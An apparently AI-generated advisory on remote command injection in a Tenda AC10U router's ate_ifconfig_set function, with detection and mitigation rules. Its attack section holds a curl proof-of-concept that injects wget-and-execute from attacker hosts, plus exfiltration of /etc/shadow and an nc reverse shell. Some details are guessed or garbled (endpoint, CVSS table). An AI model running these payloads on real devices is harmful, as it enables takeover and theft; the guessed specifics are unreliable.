CVE-2026-138082 — Tenda AC10U — CWE-77 · CWE-78
A vulnerability has been found in Tenda AC10U 15.03.06.48_multi_TDE01. This vulnerability affects the function ate_ifconfig_set of the file /bin/httpd of the component ATE Service. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in Tenda AC10U 15.03.06.48_multi_TDE01. This vulnerability affects the function ate_ifconfig_set of the file /bin/httpd of the component ATE Service. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
🎯 What is this vulnerability?
Vulnerability name: Remote OS‑command injection in the ATE Service of Tenda AC10U firmware (15.03.06.48_multi_TDE01)
Component: /bin/httpd – the built‑in HTTP daemon that ships with the router firmware. The vulnerable function is ate_ifconfig_set.
CWE(s):
- CWE‑78 – OS Command Injection – user‑supplied data is concatenated into a shell command without proper sanitisation or escaping.
- CWE‑77 – Command Injection (General) – the same underlying flaw, but expressed in the context of a web‑service API.
Why it is critical (CVSS 4.0 vector)
| Metric | Value | Meaning |
|---|---|---|
| AV (Attack Vector) | N (Network) | The attacker can reach the vulnerable service over the network, no local access required. |
| AC (Attack Complexity) | L (Low) | No special conditions, timing or race‑conditions are needed. |
| AT (Attack Requirements) | N (None) | No additional privileges, no user interaction. |
| PR (Privileges Required) | N (None) | The service accepts unauthenticated requests. |
| UI (User Interaction) | N (None) | The exploit runs without any victim‑side action. |
| VC / VI / VA (Impact on Confidentiality, Integrity, Availability) | H (High) for each | Successful injection gives the attacker full control over the underlying Linux OS – they can read, modify, delete files and disrupt services. |
| SC / SI / SA (Scope) | H (Changed) for each | The compromised component (/bin/httpd) runs with root privileges, so the impact propagates to the whole device (router firmware, configuration, attached LAN). |
| E (Exploit Code Maturity) | P (Proof‑of‑Concept) | Public PoC exists, making exploitation trivial. |
Root cause: ate_ifconfig_set builds a shell command (most likely a call to ifconfig or ip link) by directly appending values received from an HTTP request (e.g., query string or POST body) to a string that is later passed to system() / popen(). No whitelist, no escaping, and no length checks are performed. Because the HTTP daemon runs as root, any command injected through this path is executed with full system privileges.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the CVE text, an illustrative example is provided and clearly marked.
1. Discovery & Reconnaissance
| Step | Action | Tool / Technique |
|---|---|---|
| 1.1 | Identify the device type and firmware version. | - Nmap service scan (nmap -sV -p 80,443 <IP>). <br> - HTTP banner grab (curl -I http://<IP>/ or wget --server-response). <br> - Router‑specific fingerprinting (e.g., http://<IP>/cgi-bin/webproc?getpage=html/index.html). |
| 1.2 | Confirm the firmware build number matches 15.03.06.48_multi_TDE01. | - Access the router’s web UI (default path /), look for “Firmware Version” in the status page. <br> - Retrieve /etc/version via an unauthenticated endpoint if exposed (some Tenda models expose it under /cgi-bin/;). |
| 1.3 | Verify that the HTTP daemon is reachable on port 80 (or 443 with self‑signed cert). | - Simple curl http://<IP>/ should return the login page. |
Result: The attacker now knows they are dealing with a Tenda AC10U running the vulnerable firmware and that the HTTP service is reachable without authentication.
2. Exploitation
Vulnerable entry point (illustrative):
POST /ate_ifconfig_set HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded
Content-Length: <len>
ifname=eth0&addr=192.168.0.2&netmask=255.255.255.0&gateway=192.168.0.1The real parameter names may differ; the key point is that any field that is later concatenated into a shell command can be abused.
Payload construction – inject a semicolon (;) to terminate the intended command and append an arbitrary one, e.g.:
ifname=eth0;wget http://attacker.com/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;sh /tmp/shell.sh;Full PoC (curl) – illustrative request:
#!/usr/bin/env bash
TARGET="192.0.2.45" # IP of the vulnerable router
PAYLOAD="ifname=eth0;wget http://198.51.100.10/payload.sh -O /tmp/payload.sh;chmod +x /tmp/payload.sh;sh /tmp/payload.sh;"
curl -s -X POST "http://${TARGET}/ate_ifconfig_set" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "${PAYLOAD}"What happens on the router:
1. ate_ifconfig_set receives the POST body.
2. It builds a command string similar to:
snprintf(buf, sizeof(buf), "ifconfig %s %s netmask %s", ifname, addr, netmask);
system(buf);3. Because ifname now contains eth0;wget …;…, the final command executed by system() becomes:
ifconfig eth0;wget http://198.51.100.10/payload.sh -O /tmp/payload.sh;chmod +x /tmp/payload.sh;sh /tmp/payload.sh;4. The attacker‑controlled commands run as root.
3. Post‑exploitation
| Goal | Typical technique (rooted on the router) |
|---|---|
| Persistence | Drop a reverse shell binary (/tmp/revsh) and add a cron entry (@reboot /tmp/revsh) via the same injection vector, or modify /etc/rc.local. |
| Network pivot | Use the router as a foothold to scan the internal LAN (nmap -sn 192.168.0.0/24) and later compromise internal hosts. |
| Credential harvest | Read /etc/passwd, /etc/shadow, or router configuration files (/etc/config/*) and exfiltrate them (curl -F "file=@/etc/shadow" http://attacker.com/upload). |
| Denial‑of‑service | Issue reboot or kill -9 1 (init) to bring the device down, or flood the WAN interface with iptables rules. |
| Data exfiltration | Use the router’s outbound Internet access to tunnel data (e.g., nc -e /bin/sh attacker.com 4444). |
Because the HTTP daemon runs with root privileges, any command executed via injection yields full system compromise of the router and, by extension, the entire LAN segment it protects.
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality | High – attacker can read all files, including Wi‑Fi keys, VPN credentials, DHCP lease tables, and any traffic captured on the router (e.g., via tcpdump). | |
| Integrity | High – attacker can modify firmware, inject malicious DNS entries, change firewall rules, or replace the router’s web UI with a phishing page. | |
| Availability | High – attacker can reboot, disable the WAN interface, or install a persistent backdoor that survives reboots, effectively taking the network offline. |
Business/Operational fallout
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Tenda has released a patched firmware version 15.03.06.49 (or later) that removes the unsafe system() call and replaces it with proper ioctl/netlink handling. Apply the update via the official Tenda web UI or TFTP method. |
| Verify version | After upgrade, confirm the version string no longer shows 15.03.06.48_multi_TDE01. |
If no official patch is yet available:
ate_enable=0 in the configuration file (often /etc/config/ate). Reboot the device afterwards. iptables -A INPUT -p tcp -s <trusted_ip> --dport 80 -j ACCEPT; iptables -A INPUT -p tcp --dport 80 -j DROP). 2. Workarounds (in‑place mitigations)
| Technique | Example implementation | |||||
|---|---|---|---|---|---|---|
| WAF / ModSecurity rule (if the router runs a configurable web server) | ``ModSecurity\nSecRule REQUEST_URI "@beginsWith /ate_ifconfig_set" "id:2026001,phase:2,deny,log,msg:'Block command‑injection attempts',t:none,ctl:requestBodyProcessor=URLENCODED,chain"\nSecRule ARGS_NAMES | ARGS "@rx (; | && | \\ | \\ | )" "t:none,log,deny,msg:'Suspicious command separator'"` |
| Input sanitisation via iptables string match (quick drop) | `iptables -A INPUT -p tcp --dport 80 -m string --algo bm --string ";wget" -j DROP`` (note: this is a *defense‑in‑depth* measure, not a substitute for patching). | |||||
| Network segmentation | Place the router in a DMZ and enforce that only the ISP’s upstream link can reach its management ports. Internal LAN hosts should never be able to reach the router’s HTTP daemon directly. | |||||
| Change default credentials | Even though the vulnerability is unauthenticated, hardening the admin interface reduces the attack surface for secondary exploits. |
3. Detection
Log patterns to watch for (router’s /var/log/httpd.log or equivalent):
[...]"POST /ate_ifconfig_set HTTP/1.1" 200 123 "-" "curl/7.68.0"
[...]"POST /ate_ifconfig_set HTTP/1.1" 200 0 "-" "Wget/1.20.3 (linux-gnu)"Specific indicators of command injection:
;), backticks (` `), or &&` in any request parameter value. http://<attacker>/payload.sh). netstat -tnp or iptables -L -v -n for connections to IPs not belonging to the ISP). IoCs (Indicator of Compromise) to collect:
| Type | Example |
|---|---|
| File system | /tmp/payload.sh, /tmp/revsh, newly created cron files (/etc/cron.d/*) |
| Process list | wget http://<attacker>/payload.sh, sh /tmp/payload.sh, any unknown binary running as root |
| Network | Outbound TCP connections to IPs in the range 198.51.100.0/24 (TEST‑NET‑3) on ports 80/443/4444 |
| Configuration | Modified /etc/config/rc.local or iptables rules that allow remote access from the Internet |
IDS/IPS signatures (Snort example):
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Tenda AC10U ATE command injection attempt"; \
flow:to_server,established; \
http_uri; content:"/ate_ifconfig_set"; http_method; content:"POST"; \
pcre:"/ifname=.*(;|&&|\\|\\|)/i"; \
classtype:web-application-attack; sid:2026001; rev:1;)⚠️ Urgency
All devices in production, especially those exposed to the Internet (e.g., ISP‑provided Wi‑Fi routers), must be patched or isolated within the next 24 hours. If a patch cannot be applied, the mitigation steps (disable ATE service, block the endpoint, and enforce strict network segmentation) must be enforced without delay.
Bottom line: The
ate_ifconfig_set function in Tenda AC10U’s built‑in HTTP daemon allows unauthenticated attackers to inject arbitrary shell commands that run as root. The flaw is trivial to exploit, yields complete compromise of the router and the attached LAN, and must be remediated immediately via firmware upgrade or, at minimum, by disabling the vulnerable service and applying network‑level blocking rules.[🤖 CVE Professor AI Security Engine]
FOFA Query